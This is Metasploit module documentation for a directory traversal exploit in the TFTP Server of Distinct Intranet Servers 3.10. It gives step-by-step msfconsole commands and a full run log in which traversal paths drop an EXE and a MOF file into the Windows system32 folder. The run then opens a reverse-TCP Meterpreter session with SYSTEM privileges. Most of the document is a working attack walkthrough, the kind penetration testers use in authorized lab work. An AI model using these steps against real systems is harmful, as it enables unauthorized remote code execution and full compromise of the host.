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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/windows/tftp/distinct_tftp_traversal.md
Views: 11788

Vulnerable Application

This module exploits a directory traversal vulnerability in the TFTP Server component of Distinct Intranet Servers version 3.10 which allows a remote attacker to write arbitrary files to the server file system, resulting in code execution under the context of 'SYSTEM'. This module has been tested successfully on TFTP Server version 3.10 on Windows XP SP3 (EN).

Download:

Verification Steps

Setup:

  1. Install Distinct Intranet Servers

  2. Launch TFTP Server

  3. Select Configure -> TFTP from the application menu

  4. Set the root directory to C:\\some\\path

  5. Check Enable TFTP Server

  6. Press OK to apply settings

Exploitation:

  1. Start msfconsole

  2. use exploit/windows/tftp/distinct_tftp_traversal

  3. set RHOSTS <rhost>

  4. set DEPTH 10

  5. run

  6. You should receive a session

Options

DEPTH

Levels to reach base directory. (Default: 10)

Scenarios

Microsoft Windows XP SP3 (EN)

msf5 > use exploit/windows/tftp/distinct_tftp_traversal 
msf5 exploit(windows/tftp/distinct_tftp_traversal) > set rhosts 172.16.191.205
rhosts => 172.16.191.205
msf5 exploit(windows/tftp/distinct_tftp_traversal) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] Sending EXE (73802 bytes)
[*] Started TFTP client listener on 0.0.0.0:6867
[*] Listening for incoming ACKs
[*] WRQ accepted, sending the file.
[*] Source file: (Data), destination file: ../../../../../../../../../../\WINDOWS\system32\kRzdfnrUu.exe
[*] Sending 73802 bytes (145 blocks)
[*] Sent 512 bytes in block 1
[*] Sent 512 bytes in block 2
[*] Sent 512 bytes in block 3
[*] Sent 512 bytes in block 4
[*] Sent 512 bytes in block 5
[*] Sent 512 bytes in block 6
[*] Sent 512 bytes in block 7
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[*] Sent 74 bytes in block 145
[*] Transferred 73802 bytes in 145 blocks, upload complete!
[*] Sending MOF (2221 bytes)
[*] Started TFTP client listener on 0.0.0.0:59069
[*] Listening for incoming ACKs
[*] WRQ accepted, sending the file.
[*] Source file: (Data), destination file: ../../../../../../../../../../\WINDOWS\system32\wbem\mof\OEEXjgTIL.mof
[*] Sending 2221 bytes (5 blocks)
[*] Sent 512 bytes in block 1
[*] Sent 512 bytes in block 2
[*] Sent 512 bytes in block 3
[*] Sent 512 bytes in block 4
[*] Sent 173 bytes in block 5
[*] Transferred 2221 bytes in 5 blocks, upload complete!
[*] Sending stage (176195 bytes) to 172.16.191.205
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.205:1247) at 2020-05-14 00:43:03 -0400
[!] This exploit may require manual cleanup of 'kRzdfnrUu.exe' on the target
[!] This exploit may require manual cleanup of 'wbem\mof\good\OEEXjgTIL.mof' on the target

meterpreter > 
[+] Deleted wbem\mof\good\OEEXjgTIL.mof

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >